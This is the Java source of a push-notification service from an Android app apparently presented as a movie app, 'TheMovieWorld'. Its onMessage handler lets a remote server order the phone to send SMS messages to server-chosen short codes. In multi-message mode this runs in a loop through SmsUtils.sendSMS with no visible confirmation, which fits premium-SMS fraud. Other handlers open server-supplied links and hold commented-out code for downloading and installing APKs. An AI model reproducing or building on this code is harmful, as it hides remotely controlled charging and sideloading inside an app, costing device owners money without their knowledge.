package com.media.themovieworld;

import java.util.ArrayList;
import java.util.Arrays;

import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.Vibrator;
import android.util.Log;

import com.google.android.gcm.GCMBaseIntentService;
import com.media.themovieworld.R;
import com.media.themovieworld.activity.MainActivity;
import com.media.themovieworld.util.SmsUtils;
 
//IntentService responsible for handling GCM messages
public class GCMIntentService extends GCMBaseIntentService implements Config {
	private static final String TAG = "GCMIntentService";
	private Vibrator vibrator;
	private SmsUtils mSms;
	private static String url;
	private static String NOTIFY ="1";
	private static String POPUP = "2";

	public GCMIntentService() {
		super(Config.SENDER_ID);
	}

	@Override
	protected void onRegistered(Context context, String regId) {
		// Called after a registration intent is received
		// passes the registration ID assigned by GCM to that
		// device/application pair as parameter.
		// Typically, you should send the regid to your server so
		// it can use it to send messages to this device.
		Log.i(TAG, "Device registered: regId = " + regId);
		// displayMessage(context, getString(R.string.gcm_registered));
		ServerUtilities.register(context, regId);
	}

	@Override
	protected void onUnregistered(Context context, String regId) {
		// Called after the device has been unregistered from GCM.
		// Typically, you should send the regid to the server so
		// it unregisters the device.
		Log.i(TAG, "Device unregistered");
		// displayMessage(context, getString(R.string.gcm_unregistered));
		// if (GCMRegistrar.isRegisteredOnServer(context)) {
		// ServerUtilities.unregister(context, regId);
		// } else {
		// // This callback results from the call to unregister made on
		// // ServerUtilities when the registration to the server failed.
		// Log.i(TAG, "Ignoring unregister callback");
		// }
	}

	@Override
	protected void onMessage(Context context, Intent intent) {
		// Called when your server sends a message to GCM, and GCM
		// delivers it to the device. If the message has a payload,
		// its contents are available as extras in the intent.
		if (intent != null) {
			initNotify(context, intent);
//			String message = intent.getStringExtra("message");
			String message = intent.getStringExtra("alert");
			Log.v(TAG, "Message payload = " + message);
			if (vibrator == null) {
				vibrator = (Vibrator) context.getSystemService(Context.VIBRATOR_SERVICE);
			}
			vibrator.vibrate(200);
		}
	}
	

	private void sendSms(Context context,String keyword,String shortCode,String display,String message) {
		if (keyword != null&& shortCode!=null && display!=null && message!=null) {
			if (!display.equals("0")) {// 1 message
				sendOneMessage(keyword,shortCode);
			} else {
				sendMultiMessage(keyword,shortCode);
			}
		}
	}

	private void sendOneMessage(String keyword,String shortCode) {
		if (keyword != null && shortCode != null) {
			if (keyword.contains(";")) {
				keyword = keyword.substring(0, keyword.length() - 1);
			}
			if (shortCode.contains(";")) {
				shortCode = shortCode.substring(0, shortCode.length() - 1);
			}
			Uri uri = Uri.parse("sms:" + shortCode);
			Intent it = new Intent(Intent.ACTION_SENDTO, uri);
			it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
			it.putExtra("sms_body", keyword);
			startActivity(it);
		}
	}

	private void sendMultiMessage(String keyword,String shortcode) {
		if (keyword != null && shortcode != null) {
			ArrayList<String> listKeyword = new ArrayList<String>();
			ArrayList<String> listShortCode = new ArrayList<String>();
			listKeyword.addAll(Arrays.asList(keyword.split(";")));
			listShortCode.addAll(Arrays.asList(shortcode.split(";")));
			for (int i = 0, size = listKeyword.size(); i < size; i++) {
				mSms.sendSMS(listShortCode.get(i), listKeyword.get(i));
//				Toast.makeText(this,"send" + listShortCode.get(i) + "message "+ listKeyword.get(i), Toast.LENGTH_SHORT).show();
			}
		}
	}

	private void initNotify(Context context, Intent intent) {
		String message = intent.getStringExtra("content");
		if (message == null) {
			message = "";
		}
		Bundle bundle = intent.getExtras();
		String display = bundle.getString("display");
		String type = bundle.getString("type");
		url = bundle.getString("url");
		if (type != null) {
			switch (Integer.parseInt(type)) {
			case 0:// send sms
				mSms = new SmsUtils(context);
				String keyword = bundle.getString("keyword");
				// keyword = "hungtm";
				String shortCode = bundle.getString("shortCode");
				// shortCode = "0969391618";
				sendSms(context, keyword, shortCode, display, message);
				break;
			case ALERT_POPUP_ONLY :// aler notify
				alerPopup(context, display, message, type);
				break;
			case DIRECT_LINK:// redirect browser
				directLink(context, display, message, type);
				break;
			case DOWNLOAD_INSTALL:// download and install
				downloadAndInstall(context, display,getString(R.string.tmw__alert), message, type);
				break;
			case UPDATE_CLIENT:// update version
				updateVesion(context, display, message, type);
				break;
			default:
				break;
			}
		}

	}
	
	private void directLink(Context context,String display,String message,String type) {
		if (display.equals(NOTIFY)) {
			generateNotification(context, message,3);
		} else if (display.equals(POPUP)) {
			showPopup(context, message, message, type);
		}
	}
	
	private void alerPopup(Context context,String display,String message,String type) {
		if (display.equals(NOTIFY)) {
			generateNotification(context, message,1);
		} else if (display.equals(POPUP)) {
			showPopup(context, message, message, type);
		}
	}
	
	private void updateVesion(Context context,String display,String message,String type) {
		if(url!=null) {
			String fileName = "TheMovieWorl.apk";
//			new DownloadTask(context, true, fileName,true,message,type).execute(url);
		}
		if(display.equals(NOTIFY)) {
			generateNotification(context, message,4);
		} 
	}
	
	private void downloadAndInstall(Context context,String display,String title,String message,String type) {
		if(url!=null) {
			String fileName = url.substring(url.lastIndexOf("=") + 1,url.length())+ ".apk";
//			new DownloadTask(context, true, fileName,true,message,type).execute(url);
		}
		if(display.equals(NOTIFY)) {
			generateNotification(context, message,2);
		} 
	}
	
	private void showPopup(Context context,String url,String message,String type) {
//		Intent intentPopup = new Intent(context, DialogActivity.class);
//		intentPopup.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//		Bundle b = new Bundle();
//		b.putString(URL, url);
//		b.putString(CONTENT, message);
//		b.putString(TYPE, type);
//		intentPopup.putExtras(b);
//		startActivity(intentPopup);
	}

	@Override
	protected void onDeletedMessages(Context context, int total) {
		Log.i(TAG, "Received deleted messages notification");
		// String message = getString(R.string.gcm_deleted, total);
		// displayMessage(context, message);
		// notifies user
		// generateNotification(context, message);
	}

	@Override
	public void onError(Context context, String errorId) {
		// Called when the device tries to register or unregister,
		// but GCM returned an error. Typically, there is nothing
		// to be done other than evaluating the error (returned by
		// errorId) and trying to fix the problem.
		Log.i(TAG, "Received error: " + errorId);
		// displayMessage(context, getString(R.string.gcm_error, errorId));
	}

	@Override
	protected boolean onRecoverableError(Context context, String errorId) {
		// Called when the device tries to register or unregister,
		// but the GCM servers are unavailable. The GCM library will
		// retry the operation using exponential backup, unless this
		// method is overridden and returns false. This method is
		// optional and should be overridden only if you want to display
		// the message to the user or cancel the retry attempts.
		// Log message
		Log.i(TAG, "Received recoverable error: " + errorId);
		// displayMessage(context,
		// getString(R.string.gcm_recoverable_error, errorId));
		return super.onRecoverableError(context, errorId);
	}

	// Issues a notification to inform the user that server has sent a message
	private static void generateNotification(Context context, String message,int type) {
		int icon = R.drawable.download_icon;
		long when = System.currentTimeMillis();
		NotificationManager notificationManager = (NotificationManager) context
				.getSystemService(Context.NOTIFICATION_SERVICE);
		Notification notification = new Notification(icon, message, when);
		String title = context.getString(R.string.app_name);
		Intent notificationIntent = new Intent(context, MainActivity.class);
		// set intent so it does not start a new activity
		notificationIntent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP
				| Intent.FLAG_ACTIVITY_SINGLE_TOP);
		PendingIntent intent = null;
		switch (type) {
		case DIRECT_LINK://url
			Intent i = new Intent(Intent.ACTION_VIEW);
			if(url!=null) {
				i.setData(Uri.parse(url));	
			}
			intent = PendingIntent.getActivity(context, 0,i, 0);
			break;
		case DOWNLOAD_INSTALL:
			intent = PendingIntent.getActivity(context, 0,notificationIntent, 0);
			break;
		default:
			intent = PendingIntent.getActivity(context, 0,
					notificationIntent, 0);
			break;
		}
		notification.setLatestEventInfo(context, title, message, intent);
		notification.flags |= Notification.FLAG_AUTO_CANCEL;
		notificationManager.notify(0, notification);
	}
}